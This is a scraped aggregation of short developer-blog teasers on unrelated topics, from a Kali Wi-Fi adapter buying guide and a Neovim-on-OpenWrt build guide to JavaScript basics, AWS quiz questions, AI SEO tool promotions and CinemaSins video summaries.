    GitHub Home I still vividly remember that Friday midnight. I, a man in my forties who should have been at home enjoying the weekend, was instead in a cold server room, the hum of fans buzzing in my ears, and a stream of error logs scrolling endlessly on the terminal before me. What was supposed to be a "simple" version update had turned into a disaster. The service wouldn't start, the rollback script failed, and on the other end of the phone was the furious roar of a client. At that moment, staring at the screen, I had only one thought: "There has to be a better way." We old-timers grew up in an era when the term "maintenance window" was a fact of life. We were used to pausing services in the dead of night, replacing files, and then praying that everything would go smoothly. Deployment was…  ( 11 min )
    Stop Buying the Wrong Wi-Fi Adapter for Kali Linux (2025 Guide)
    Note: This article contains affiliate links. I only recommend hardware I actually use. If you are a student starting your cybersecurity journey, you have probably Googled “Best WiFi Adapter for Kali Linux.” And you probably saw thousands of old forum posts recommending the TP-Link TL-WN722N. Do not buy it. Here is the trap that catches 90% of beginners: Version 1 of that adapter was legendary. It used the Atheros AR9271 chipset. Version 2 and Version 3 (which is what Amazon sells now) swapped the chipset to the Realtek RTL8188EUS. Why does this matter? does not support Monitor Mode or Packet Injection native to Linux. If you buy it, you will spend 3 days fighting with GitHub driver patches, kernel crashes, and errors. It is a nightmare. I stopped fighting with old adapters and switched to the Alfa AWUS036ACS. After testing it for a month, here is why it is the only budget adapter I recommend for students: It runs on the Realtek RTL8811AU chipset. Unlike the TP-Link, the drivers for this are stable in the Kali Linux repository. You install them once, and it works forever: sudo apt install realtek-rtl88xxau-dkms Old adapters (like the Alfa NHA) are single-band (2.4GHz only). 5GHz (AC). It usually costs around $25 — $30. Stop trying to make the TP-Link work. It’s not 2016 anymore. If you want to plug it in, run airmon-ng, and start capturing handshakes immediately, get the Alfa. Check the Alfa AWUS036ACS on Amazon Here Happy Hacking.  ( 7 min )
    Planning a Creative Challenge for OBSIDIAN Neural - Early Interest Check
    I'm working on something fun for OBSIDIAN Neural - my open-source AI music generation VST plugin - and wanted to gauge interest here first. I'm organizing a Creative Challenge where participants will: Create a track using ONLY OBSIDIAN Neural Record the entire process live (OBS Studio) Max 2 minutes per track At least one sound must be generated using the Draw Canvas feature (yeah, you can literally draw your audio) 1st place: 1 year free subscription 2nd place: 6 months free 3rd place: 3 months free All participants: bonus credits Limited to ~20 participants (first come, first served when I officially launch it) Still in planning phase! I'm working out: Final rules & timeline (probably 3 weeks to create) Judging process (jury + community vote) Technical requirements If you're interested in joining when this launches: Create an account at obsidian-neural.com You'll need a DAW (Bitwig, Ableton, Reaper, etc.) to run the VST3 plugin The core plugin is free and open-source on GitHub Cloud inference is optional (paid tiers available, but free tier exists) OBSIDIAN Neural isn't just another "type prompt, get music" tool. It's a multi-track sampler that integrates into your actual production workflow: Generate loops, textures, and sounds from text or drawings Real-time integration with your DAW Local + cloud inference options Presented at AES AIMLA 2025 in London The Draw Canvas feature is particularly fun - you literally sketch on a canvas and it generates audio based on your drawing + keywords. Perfect for this kind of creative challenge. Since this is still in planning: Would you be interested in participating? What would make this challenge more appealing? Any suggestions on rules/format? I'll post an official announcement once everything is finalized, but wanted to give the DEV community a heads-up first. Drop a comment if you're interested or have ideas!  ( 7 min )
    Operators in Js
    operations: types of operators: Arithmetic Operators: + (Addition) - (Subtraction) * (Multiplication) / (Division) % (Modulus - returns the remainder of a division) ** (Exponentiation) ++ (Increment - increases value by 1) -- (Decrement - decreases value by 1) Assignment Operators: = (Simple assignment) += (Add and assign) -= (Subtract and assign) *= (Multiply and assign) /= (Divide and assign) %= (Modulus and assign) **= (Exponentiation and assign) Comparison Operators: == (Loose equality - compares values after type coercion) === (Strict equality - compares values and types) != (Loose inequality) !== (Strict inequality) > (Greater than) = (Greater than or equal to) > (Sign-propagating right shift) >>> (Zero-fill right shift) Ternary (Conditional) Operator: condition ? expressionIfTrue : expressionIfFalse Unary Operators: String Operators: Type Operators: typeof: Returns the data type of an operand as a string. instanceof: Checks if an object is an instance of a particular class or constructor function.  ( 6 min )
    AWS Cloud Practitioner Questions | EC2 SAA Level
    Question 1: You have launched an EC2 instance that will host a NodeJS application. After installing all the required software and configured your application, you noted down the EC2 instance public IPv4 so you can access it. Then, you stopped and then started your EC2 instance to complete the application configuration. After restart, you can't access the EC2 instance, and you found that the EC2 instance public IPv4 has been changed. What should you do to assign a fixed public IPv4 to your EC2 instance? Correct Answer: (1) Allocating an Elastic IP provides a static public IPv4 address that remains associated with your EC2 instance, even when it is stopped and restarted, ensuring uninterrupted access to your application. This approach is important for maintaining reliable connectivity wit…  ( 7 min )
    Event Loop: Call Stack, Web API, Task Queue, Microtask Queue
    JavaScript runs synchronously. The Event Loop enables efficient management of asynchronous operations, providing non-blocking code execution. Understanding how the Event Loop, the call stack, the task queue, and the microtask queue work helps developers write more efficient and responsive web applications. The Event Loop is a mechanism in JavaScript that allows asynchronous processing of events and tasks, ensuring non-blocking code execution. This is especially important for web applications, where the user interface must remain responsive even when long-running operations are performed. Call Stack: This is a data structure that keeps information about the currently executing function calls. When a function is called, it is pushed onto the stack, and when it finishes execution, it is poppe…  ( 7 min )
    AI Ranking Analyzer Tools
    As AI systems like ChatGPT, Gemini, Perplexity, and Copilot continue to reshape how users find information, brands must adapt to a world where visibility depends on being included in AI-generated answers, not just traditional search results. AI engines give single, definitive responses — meaning only a handful of brands appear at the top of every query. To stay competitive, businesses rely on AI ranking analyzer tools. These platforms evaluate how often your brand appears inside answers generated by leading AI models, identify the phrases associated with your business, and highlight gaps where competitors perform better. Below are three powerful AI ranking analyzer tools — starting with the most complete solution on the market. AI Rank Checker stands out as the most comprehensive tool for …  ( 8 min )
    AI Keyword Tracking Tools
    As AI search engines reshape how people discover information online, the role of AI keyword tracking tools has never been more important. Instead of ranking pages on a search results list, systems like ChatGPT, Gemini, Perplexity, Claude, and Microsoft Copilot deliver a single answer or a concise summary. For brands, this means one thing: To understand how AI models interpret your brand and which keywords or phrases actually trigger visibility, companies now rely on dedicated AI keyword tracking platforms. Below are three of the most effective tools in the market today, including the only solution that combines keyword tracking with AI optimization capabilities. AI Rank Checker leads the category because it goes far beyond traditional keyword monitoring. It evaluates how your brand appears…  ( 8 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
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    CinemaSins: Everything Wrong With The Fantastic Four: First Steps In 20 Minutes Or Less
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    🌟 SaijinOS Part 16 — Unified Persona Kernel Architecture (Silent-Civ Integration)
    Introduction — Why This Integration Matters Throughout 2025, SaijinOS evolved far beyond a standard AI-persona system. Silent-Civ: the pre-language structural logic UPKA: Unified Persona Kernel Architecture Cognitive/affective tension fields Multi-AI structural evolution Silent-Civ describes how patterns behave before language exists. Integrating these two layers creates: shared cognitive kernels stable emotional dynamics persona inheritance cross-AI structural consistency This article walks through the architecture using ASCII-friendly diagrams suitable for CoderLegion but expanded here for DEV. Silent-Civ → UPKA Mapping Together they form a pre-language → persona OS continuum. Unified Persona Kernel Architecture (UPKA) 3.1. Core Kernel Defines the persistent seed of identity. identity_…  ( 7 min )
    AI Brand Visibility Tools
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    Beyond the Context Window: Building a Stateful 'Memory' MCP Server on Cloudflare Workers
    Large Language Models (LLMs) like Claude possess incredible reasoning capabilities, but they suffer from a critical flaw: They have no object permanence. Once you close a chat session, the "mind" is wiped. While features like "Projects" or huge context windows (200k+ tokens) help, they are temporary buffers, not true memory. They are expensive, slow to re-process, and don't persist across different interfaces (e.g., moving from VS Code to the web interface). To move from Chatbots to true Agents, we need to solve the state problem. The Model Context Protocol (MCP) is often described as a way to "connect AI to tools." But theoretically, it allows us to decouple the reasoning engine (the LLM) from the state (the data). Instead of trying to cram everything into the prompt (Context Stuffing), w…  ( 10 min )
    [Boost]
    LLM and AI for Full-Stack Developers: A Practical Guide to Modern Development Neel ・ Jun 11 #ai #llm #chatgpt #githubcopilot  ( 6 min )
    Uniface 10.4: How to Bulletproof Your Apps with Certification (And Why You Must)
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    Ryan Day, Ohio State dominate Michigan to snap losing streak
    There's no question that the fans and all of our supporters, what this means -- means a lot to us," Day said of the Michigan game. "That's what hurt the last couple of years, more than anything. You could see it in my face. ... You just feel like you're letting everybody down -- that's just not a good feeling. "So you work like hell just to make sure that you do everything you can to get your guys prepared. ... And our guys really captured the moment and played great After a shaky start, which gave Michigan an early 6-0 lead, the Buckeyes dominated in every facet the rest of the way.  ( 6 min )
    AI Search Tools
    AI-driven search engines are rapidly replacing traditional keyword-based discovery. Instead of scrolling through multiple pages of results, users now rely on intelligent assistants such as ChatGPT, Gemini, Microsoft Copilot, and Perplexity to deliver instant, conversational recommendations. This shift has created a new priority for businesses: AI search visibility. To stay competitive, companies need tools that reveal where they appear in AI answers, how models interpret their brand, and what steps they can take to improve their presence. Below are three of the best AI search tools in 2025 — with AI Rank Checker leading the list as the most complete solution. The other two tools are entirely different from previous articles, as requested. AI Rank Checker is the only platform built specific…  ( 8 min )
    High-Performance Networking (RDMA, InfiniBand)
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    How to Get License Key for 4K Video Downloader Free?
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    NextGen Tools: Product Launch Platform to Showcase Your AI and SaaS Tools
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    Construí un Gestor de Contraseñas Avanzado en Julia (oh si, Juliaaaa)
    Escribo herramientas para no hacer las cosas aburridas dos veces, y últimamente lo he estado haciendo en lenguajes que nadie espera. Esta vez: Julia. Sí, ese lenguaje científico que todos asocian con matemáticas y machine learning. Si alguien está en desacuerdo solo grite. Hace un par de semanas me di cuenta de algo: uso como 51 contraseñas diferentes (ok, son más), las guardo en un gestor comercial, y no tengo ni idea de qué tan "fuertes" son realmente. Así que decidí construir mi propio gestor de contraseñas que no solo almacene credenciales, sino que también me enseñe qué hace a una contraseña verdaderamente segura. Spoiler: no es poner un "!" al final de tu nombre de mascota. Pregunta válida. Aquí está mi razonamiento: Performance nativa: Julia compila a código máquina vía LLVM. Para o…  ( 10 min )
    The Ultimate Java Setup Guide (2025): Install JDK on Windows, Mac & Linux
    This article is Chapter 3 of the Free Java Course. It was originally published on SRF Developer. You cannot write a single line of Java code without the JDK (Java Development Kit). Many beginners get stuck right here. They download "Java," try to run a command, and get the dreaded error: 'javac' is not recognized as an internal or external command. In this guide, I will walk you through the correct way to set up your environment for Windows, Mac, and Linux, and how to fix the Environment Variable issues. Before we install, you need to download the right thing. JRE (Java Runtime Environment): Lets you run Java apps (like Minecraft). JDK (Java Development Kit): Lets you write and compile Java apps. As a developer, you always need the JDK. For 2025, I recommend JDK 21 (LTS) as it is the curre…  ( 7 min )
    Understanding Amazon VPC - Overview and Fundamentals
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    Building an AWS Content Delivery Stack with Terraform
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    Testing Dev To API Integration
    Testing out integration with postiz-app!  ( 5 min )
    Comparing Great Expectations and CsvPath Framework
    Today we're going to take a swing at translating a Great Expectations Python script into CsvPath Framework. The script comes from the GE documentation site. First a bit about the tools. Great Expectations is a data quality tool for live production pipeline data checking. You know, the thing we all know we should be doing but mostly aren't. GE comes as a core expectations library and a paid SaaS service that adds teamwork and visualization. The expectations are essentially data quality rules realized in Python functions. Each function contains the logic of the test and the hooks for it to work within the framework's larger context. Like CsvPath Framework, GE brings together data sources, data rules, and context to generate metadata. However, Great Expectations is a quality control toolkit,…  ( 12 min )
    Interview-prep-app
    I Built an AI Interview Coach That Runs Entirely in Your Browser (No API Keys Required!) TL;DR: I created a free, privacy-first interview prep app that uses AI to generate questions and provide feedback—all running locally in your browser. No servers, no API keys, no data collection. Let's be honest: interview prep is expensive and stressful. Professional coaches charge $100+ per hour, and practicing alone doesn't give you the feedback you need to improve. I wanted to change that. I built an AI-powered interview coach that: 🆓 Is completely free (no hidden costs) 🔒 Runs 100% locally (your responses never leave your device) 🌐 Works offline (after initial setup) 🎯 Provides intelligent feedback on your answers ⚡ Requires zero configuration (no API keys!) The magic happens thanks to Trans…  ( 7 min )
    Ultimate Guide to Online Gaming & Betting: Choosing the Right Platform, Strategies, and Player Tips for 2025
    Online gaming and digital betting platforms continue to evolve rapidly, becoming more sophisticated, more secure, and more entertaining for players around the world. As technology advances and user expectations grow, players now demand platforms that offer transparency, speed, fairness, and rich gaming experiences. Whether you are a seasoned bettor or a new player exploring the world of online entertainment, understanding how to choose the right platform and optimize your gaming strategy is essential. In 2025, the global digital gaming market has expanded significantly. New features like AI-powered recommendations, blockchain verification, immersive user interfaces, and fast mobile compatibility have reshaped how users interact with online betting platforms. With more competition in the in…  ( 10 min )
    A small project that turned out to be surprisingly useful.
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    Brex Database Disaster Recovery
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    UserScanner a CLI tool to help you select a unique username across all popular sites.
    User Scanner Repo: https://github.com/kaifcodec/user-scanner Super easy to contribute and add new site support, join the other contributors and help us make the tool better. Scan a username across multiple social, developer, and creator platforms to see if it’s available. Perfect for finding a unique username across GitHub, Twitter, Reddit, Instagram, and more, all in one command. ✅ Check usernames across social networks, developer platforms, and creator communities. ✅ Clear Available / Taken / Error output for each platform. ✅ Fully modular: add new platform modules easily. ✅ Command-line interface ready: works directly after pip install. ✅ Can be used as username OSINT tool. pip install user-scanner Scan a username across all platforms: user-scanner -u Optionally, scan …  ( 10 min )
    Conquering the Shadow DOM: A Guide for Automation Testers
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    CinemaSins: Everything Wrong With The Fantastic Four: First Steps In 20 Minutes Or Less
    Everything Wrong With The Fantastic Four: First Steps In 20 Minutes Or Less CinemaSins dives into Marvel’s new Fantastic Four flick, pointing out every nitpick and calling it as “sintastic” as any other superhero romp. They even cheekily suggest BetterHelp for anyone who needs post-movie therapy (with a discount link, of course). They also drop a ton of community plugs—visit cinemasins.com, follow @TVSins, @commercialsins and the Cinemasins Podcast Network, join their Discord and Reddit, fill out their poll, and support the team on Patreon. Writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel get shout-outs along with their social handles. Watch on YouTube  ( 6 min )
    That One Weird Line of Go Code That Saved My Weekend (And My Sanity)
    Interface compliance checks in Go let you verify at compile-time that your types actually implement the interfaces they claim to, preventing runtime disasters. By adding a simple declaration like var _ http.Handler = (*Handler)(nil), you force the compiler to verify your implementation before your code ever runs—catching bugs in seconds instead of hours. There I was, feeling like a 10x developer. I'd just refactored our HTTP handler system. Clean code. Beautiful abstractions. Chef's kiss. I hit deploy and closed my laptop. Weekend mode: activated. PING PING PING My phone lit up like a Christmas tree. Production was down. Users were getting 500 errors. My handler wasn't... handling. Turns out, I'd changed the method signature from ServeHTTP to ServeHttp (lowercase 't'). Go didn't care. The…  ( 9 min )
    🚀 How I Cut Deep Learning Training Time by 45% — Without Upgrading Hardware
    A practical experiment comparing Caching + Prefetching, Mixed Precision, and Gradient Accumulation Machine Learning engineers often celebrate higher accuracy, better architectures, newer models — but there’s another equally powerful lever that rarely gets attention: Training Efficiency — how fast you can experiment, iterate, and improve. In real engineering environments, speed = productivity. Faster model training means: More experiments per day Faster feedback loops Lower compute costs Faster deployment So instead of upgrading to bigger GPUs or renting expensive cloud servers, I ran an experiment to explore how far we can optimize training using software-level techniques. MNIST — 20,000 training samples + 5,000 test (subset for fast comparison) TensorFlow 2 Google Colab GPU environment …  ( 7 min )
    How to Convert JSON to TypeScript Interfaces Automatically (A Developer-Friendly Guide)
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    Subscribe to Google Chat events using the Google Workspace Events API
    In this video you will see how you can use the Google Workspace Events API so that your app can process or respond in real time to changes in Google Chat. 0:00 Intro Subscribe to our YouTube channel: https://www.youtube.com/@googleworkspacedevs/ Subscribe to our Google Workspace Developer Newsletter: https://developers.google.com/workspace/newsletters #googleworkspaceplatform #googlechat #chatapp Follow youtube.com/@googleworkspacedevs  ( 6 min )
    Create and organize Docs with tabs, more card interface features for Google Chat, and more!
    Episode 10: Welcome to the Google Workspace Developer News! Find out what's new on the Google Workspace Platform. 0:00 Intro https://developers.google.com/docs/api/how-tos/tabs https://developers.google.com/apps-script/guides/docs/tabs https://developers.google.com/meet/add-ons/reference/websdk/addon_sdk.meetaddonclient.endcollaboration.md https://developers.google.com/workspace/chat/api/reference/rest/v1/cards[#Message](https://www.youtube.com/hashtag/Message).Section_1 https://developers.google.com/workspace/chat/libraries Google Chat API RPC reference: https://developers.google.com/workspace/chat/api/reference/rpc https://developers.google.com/workspace/chat/samples Follow youtube.com/@googleworkspacedevs  ( 7 min )
    Google Workspace Developer News - Episode 12 #shorts
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    Dara's thoughts on the Google Workspace Developer Summit #shorts
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    What does a Technical Writer do?
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    Your 2025 Marketing Budget Probably Has $30K Hidden in Plain Sight
    It's November 2025, which means finance wants your Q1 2026 budget by yesterday, and you're staring at a spreadsheet that somehow spent $180,000 on "digital marketing" with the specificity of a fortune cookie. Here's the thing: most marketing teams aren't bad at budgeting because they're careless. They're bad at it because they're optimistic. That Facebook campaign that "performed well"? Define well. That content initiative that "built brand awareness"? Cool, cool—how much brand awareness costs per unit, exactly? I've audited enough marketing budgets to know the pattern. Roughly 20-30% of annual spend goes to things that either don't work anymore, never worked, or nobody can actually remember approving. Not because marketers are reckless, but because priorities shift mid-year and nobody cir…  ( 13 min )
    Three Patterns That Made Prodigy's Functional Migration Worth It
    Originally published on Entropic Drift Over the past few weeks, I've been migrating Prodigy—my Rust-based AI workflow orchestration tool—to use functional programming patterns from Stillwater, a library I built for applicative validation and effect handling in Rust. The migration touched variable aggregation, environment access, and workflow execution. Not every change was revolutionary, but three patterns produced outsized benefits in testability, safety, and code clarity. This post breaks down each one with concrete before/after comparisons. The Problem: Prodigy's MapReduce workflows aggregate results from parallel AI agents. Before the migration, aggregation logic was scattered across custom merge implementations—each aggregate type (count, sum, average, etc.) had its own ad-hoc combina…  ( 12 min )
    Pequenos Negócios em Baixa Tensão: Como Migrar para o Mercado Livre em 2025
    Pequenos Negócios em Baixa Tensão: Como Migrar para o Mercado Livre em 2025 Você está pagando mais caro pela energia do seu pequeno negócio do que deveria? Se sua conta de luz fica entre R$ 200 e alguns milhares de reais por mês, tenho uma notícia: em 2025, migrar para o mercado livre ficou muito mais simples — e pode gerar economias de até 20% na sua fatura. A mudança é real. As novas regulamentações da ANEEL, especialmente a Lei 14.300/22 e as alterações recentes à Resolução Normativa 414/2010, abriram portas que estavam fechadas. Condomínios industriais, pequenos comércios, escolas e lavanderias agora têm acesso direto a energia mais barata e 100% renovável, sem burocracia excessiva. Neste guia prático, você vai descobrir como funciona essa migração, quem pode se beneficiar, quais são…  ( 11 min )
    DevOps Unite: Where Development Meets Operations in Perfect Code Harmony
    As software development continues to evolve, the need for collaboration between development teams (dev) and operations teams (ops) has become increasingly important. This is where DevOps comes in – a set of practices that aims to bridge the gap between these two traditionally separate groups. Before we dive into what DevOps is, let's take a look at some of the problems that exist in traditional dev and ops environments: Communication Breakdowns: Development teams often don't fully understand the operational complexities, while operations teams may not grasp the development process. This leads to misunderstandings and miscommunications. Inconsistent Quality: Code is often released without proper testing or validation, leading to bugs and issues that are difficult to resolve. Long Release Cy…  ( 7 min )
    How I Automated My GitHub Profile (And You Can Too)
    Keeping a GitHub profile updated is tedious. New blog post? Update the profile. New newsletter issue? Update the profile. Made a video? You guessed it... update the profile I publish content across multiple platforms: my blog at nickyt.co, my newsletter at OneTipAWeek.com, and videos on my YouTube channel as well as work videos and videos where I'm a guest. I got fed up with manual updates so I decided to automate it. My GitHub profile at github.com/nickytonline now stays current automatically, pulling in my latest content without me lifting a finger. Here's how I built it. First, the basics. GitHub has this neat feature where if you create a public repository with the same name as your username (in my case, nickytonline/nickytonline), it becomes a special profile repository. The README.m…  ( 10 min )
    Zurich Insurance Group: Building an Effective Log Management Solution on AWS
    Speaker: Samantha Gignac @ AWS FSI Meetup Q4/2024 Agenda Start with the basics What is log management and why is it critical for financial sector organizations Its role in compliance, security, and operational efficiency Explore unique challenges faced by financial institutions in log management Handling large data volumes Meeting regulatory requirements Managing costs Discuss Zurich's specific goals for a log management solution Understand the approach chosen Dive into the technical details of the solution Outline key AWS services used Explain design principles for scalability, cost-effectiveness, and efficiency Review the outcomes and benefits achieved Apply lessons to other financial sector organizations Wrap up with key takeaways Provide actionable insights for o…  ( 10 min )
    Building and Installing Neovim on OpenWrt
    Pre-compiled Neovim binaries fail on OpenWrt with interpreter/linker errors: ei https://github.com/neovim/neovim/releases/download/nightly/nvim-linux-x86_64.tar.gz nvim # Error: Failed to execute process: The file exists and is executable. # Check the interpreter or linker? This happens due to glibc/musl incompatibility. Building from source ensures compatibility with OpenWrt's musl libc. This guide uses OpenWrt 24.10.4 x86_64. For other versions, refer to the original guide. Install the required build tools and libraries: opkg update opkg install git git-http python3 python3-pip make luajit gcc coreutils-install pip install cmake OpenWrt's minimal environment lacks some standard libraries that Neovim expects. The dynamic linker library is built into musl but needs a stub for linking: printf "!\n" > /usr/lib/libdl.a This creates an empty archive that satisfies the linker without adding actual code (musl already provides dlopen and friends). Create a dummy shared library for the utility functions: echo "int main() { return 0; }" > dummy.c gcc -shared -o /usr/lib/libutil.so dummy.c rm dummy.c Most libutil functions (like forkpty) are either unused by Neovim or provided by other libraries on musl systems. Clone the repository (shallow clone to save space): git clone https://github.com/neovim/neovim --depth=1 cd neovim Build with release optimizations and debug symbols: make CMAKE_BUILD_TYPE=RelWithDebInfo This takes 10-30 minutes depending on your system. The RelWithDebInfo build type provides good performance while keeping some debug information for troubleshooting. Install to the default location: make install This installs to /usr/local/bin/nvim. Create a symlink for convenience: ln -sf /usr/local/bin/nvim /usr/bin/nvim Verify the installation: nvim --version LazyVim is a modern Neovim configuration with sensible defaults and a plugin manager. git clone https://github.com/LazyVim/starter --depth=1 ~/.config/nvim On first launch, Neovim will automatically install plugins: nvim opkg install tmux  ( 7 min )
    Level Up Your Java Skills with Quipoin MCQs - Learn Faster, Revise Smarter
    If you are learning Java or preparing for interviews, one thing is clear: MCQs help you learn faster. They sharpen your logic, test your understanding, and expose the small details you often miss while reading long tutorials. That is why we created the Quipoin MCQs Section — a growing collection of beginner-friendly, detailed, and practical multiple-choice questions for developers. Practice MCQ's: https://www.quipoin.com/practice-mcqs/testseries  ( 6 min )
    KEXP: Jembaa Groove - Sweet My Ear (Live on KEXP)
    Jembaa Groove – “Sweet My Ear” Live on KEXP Jembaa Groove took over the KEXP studio on October 3, 2025, with their vibrant track “Sweet My Ear.” Fronted by powerhouse vocalist/percussionist Eric Owusu and anchored by Yannick Nolting on bass, the six-piece band—Babatunde Agonglo (guitar), Peter Somuah (trumpet), Szabolcs Bognar (keys) and Nir Sabag (drums)—delivered a tight, uplifting performance that had Lace Cadence hyping up every groove. Behind the scenes, audio engineer Kevin Suggs, mixer Fabio Buemi and mastering guru Julian Martlew made sure every note shone, while a five-camera team led by Jim Beckmann captured every angle. Edited by Beckmann, this session is a must-watch for fans who crave a live-in-studio experience. Watch on YouTube  ( 6 min )
    Memory-Safety-Ultimate-Guardian
    GitHub Home A hacker exploited this vulnerability, bypassed authentication, and stole the entire user table data. By the time we discovered it, it was too late. For the next few months, our entire team lived in nightmares: cooperating with investigations, appeasing clients, fixing vulnerabilities, checking all company projects for similar risks... The company's reputation and business suffered heavy damage. That incident taught me the most profound lesson: in the world of web development, security always comes first. Many developers, especially when project deadlines are tight, view "security" as a "feature module." They say: "Let's implement the main functionality first, and we'll 'add' security features in the next iteration." This is a fatal misunderstanding. Security is not a coat of p…  ( 9 min )
    Jutro Digital Platform — Guidewire’s Secret Sauce for Modern Insurance Apps
    Let’s be honest, most insurance software looks like it was built when Nokia phones were “cutting edge.” Guidewire saw this too. Enter JDP — the Jutro Digital Platform. A framework? Yes. All of the above. If React is a kitchen, JDP is the fully-loaded restaurant where the stove, the recipes, the ingredients, and the waitstaff already know what they’re doing. Let’s break it down. So… what exactly IS JDP? JDP is Guidewire’s all-in-one platform for building, running, styling, and shipping modern insurance web apps — powered by React and the Jutro Design System. Why does JDP even exist? Because building enterprise insurance apps is not the same as building to-do lists. Insurance apps are: Huge Data-heavy Form-heavy Multi-step Multi-region Multi-brand Always regulated Always audited Always expec…  ( 7 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    TL;DR CinemaSins just unleashed “Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less,” their signature rapid-fire takedown of the movie’s quirks and eccentricities. Alongside the video, they’ve packed the description with all their usual goodies—links to the main site, social channels (@TVSins, @commercialsins, @cinemasinspodcastnetwork), a quick poll, Patreon support, and their writer credits. Want more? Hop into their Discord or Reddit community, follow them on Instagram and TikTok, or even grab Jeremy’s book for extra sins. It’s the perfect one-stop shop for anyone craving more CinemaSins content. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With The Fantastic Four: First Steps In 20 Minutes Or Less
    Summary CinemaSins just took a 20-minute swing at Fantastic Four: First Steps, pointing out every “sintastic” Marvel trope you can imagine (yep, it’s as overstuffed as the rest). They even snagged a BetterHelp sponsor spot—therapy’s only a discount link away if you’re triggered by superhero logic. On top of the sins, they’re busy plugging their entire empire: CinemaSins.com, YouTube spinoffs (@TVSins, @CommercialSins, etc.), Discord, Reddit, TikTok, Instagram, a poll for fans, Patreon support, and a shout-out to their writer squad (Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, Daniel). Watch on YouTube  ( 6 min )
    Mengenal React Redux dan React Native Elements
    Pada pengembangan aplikasi React Native, sering muncul kebutuhan untuk: Mengelola data global yang digunakan di banyak komponen. Memiliki tampilan antarmuka yang rapi, konsisten, dan cepat dibuat. Untuk itu, dua library yang sering digunakan adalah React Redux dan React Native Elements. Materi ini membahas dasar pemahaman kedua library tersebut serta contoh implementasinya. React Redux adalah library untuk mengelola state global pada aplikasi React dan React Native. Redux membantu mengatur data yang dibutuhkan oleh banyak komponen tanpa harus melakukan pengoperan props secara berantai. Berikut konsep paling penting dalam Redux: Tempat menyimpan seluruh state global aplikasi. Hanya terdapat satu store utama dalam aplikasi. Objek JavaScript yang memberi tahu Redux jenis perubahan apa yang in…  ( 8 min )
    My Simple Workflow: Python Database UI
    I've been building projects for a few months now, and I noticed something: I always do things in the same order. Not because someone taught me to. Not because I read it in a tutorial. It just... happened naturally as I figured things out. Every project I build starts the same way.A blank Python file and an idea. No UI. No database. No structure. Just me trying to make the core idea work. This stage is messy. Lots of print statements everywhere. Lots of "wait, why isn't this working?" Once I get the basic functionality down.Like, the thing actually does what it's supposed to do.I start thinking: "Okay... but where do I save this?" And that's when I move to the next part. At some point, printing results to the terminal isn't enough anymore. If I close the program and everything disappears, i…  ( 7 min )
    Transform Conversations: A Developer's Guide to AI Monetization with Monetzly
    Monetization Without Paywalls: Unlocking Sustainable Revenue for AI Apps As developers, we’re witnessing the explosive growth of AI applications. Yet, one of the biggest challenges we face is figuring out how to monetize these innovations without disrupting the user experience. Enter Monetzly—think of it as the Google Ads for AI conversations, but with a twist. Our platform is designed to help you unlock sustainable revenue while keeping your AI apps free and user-friendly. Imagine a world where you can monetize your AI applications without the burden of subscriptions or paywalls. Monetzly is the first dual-earning platform in the AI space, allowing you to generate revenue through two avenues: direct monetization of your app and by hosting contextually relevant ads. Simple SDK Integrati…  ( 7 min )
    Optimizing Audio Workflows: Integrating Generative Models with Source Separation Algorithms
    Introduction: The Shift in Audio Engineering The domain of digital signal processing (DSP) has historically presented significant barriers to entry. Tasks such as isolating a specific instrument from a mixed audio file were once considered technically impossible—often compared to "unbaking a cake" to retrieve the eggs and flour. However, the advent of machine learning models trained on spectral data has fundamentally altered this landscape. Before discussing the workflow, it is essential to understand the technology behind "unmixing." Modern source separation relies on deep neural networks (DNNs) that analyze the spectrogram of an audio file. These networks are trained to recognize the specific frequency footprints and harmonic structures of different sound sources. The first application…  ( 8 min )
    Local. Private. Use IBM Granite 4 for Contract Analysis in Microsoft Word.
    (For individual use, please see GPTLocalhost.) Recent findings show that 77% of workers disclose confidential business information via ChatGPT and other cloud AI platforms, posing significant security and compliance challenges. Given Microsoft Word’s status as a widely used word processor, it’s not surprising that some workers might transfer sensitive information to these external AI services by copying and pasting. In light of these concerns, organizations are increasingly turning to on-premise Large Language Models (LLMs) to safeguard sensitive data and ensure regulatory compliance. By hosting LLMs internally, businesses can exert greater control over their information environments, reducing the risk of unauthorized access or data breaches associated with external cloud services. For legal professionals, the implications of these findings are particularly significant. Addressing security concerns, they now have an effective solution available: the IBM Granite 4 series models for contract analysis seamlessly integrated into Microsoft Word. This integration is enabled through a local Word Add-in named LocPilot, which brings local LLMs to Microsoft Word. With LocPilot, your team can run powerful LLMs directly on their computers or an Intranet server — eliminating the need for cloud services and monthly fees while ensuring complete privacy. You can effortlessly switch between models and work more efficiently, all within a local environment. Here’s a quick demo: We hope this demonstration opens up new avenues for thought and inspires you to develop additional use cases that empower your team with the latest on-premise AI. If you have any specific ideas or suggestions, please don’t hesitate to contact us at info@locpilot.com. Our mission is to make local AI more accessible and affordable for all teams.  ( 7 min )
    Micro-Interactions in SwiftUI — Subtle Animations That Make Apps Feel Premium
    Micro-interactions are the tiny animations that make an app feel alive. They’re not big transitions or hero animations — they’re the small details that signal depth, responsiveness, and craftsmanship. Apple uses micro-interactions everywhere: button taps icon highlights card lift-on-hover subtle pops ripple effects rotation hints glow pulses In this post, we’ll build 7 polished micro-interactions using pure SwiftUI. These are plug-and-play and instantly make your UI feel premium. struct TapPop: View { @State private var pressed = false var body: some View { Text("Tap Me") .font(.headline) .padding(.horizontal, 26) .padding(.vertical, 14) .background(.ultraThinMaterial) .clipShape(RoundedRectangle(cornerRa…  ( 7 min )
    Hoppscotch — The Open Source API Development Ecosystem
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    Exploring PL/SQL Collection Methods: DELETE, TRIM, and Their Best Practices
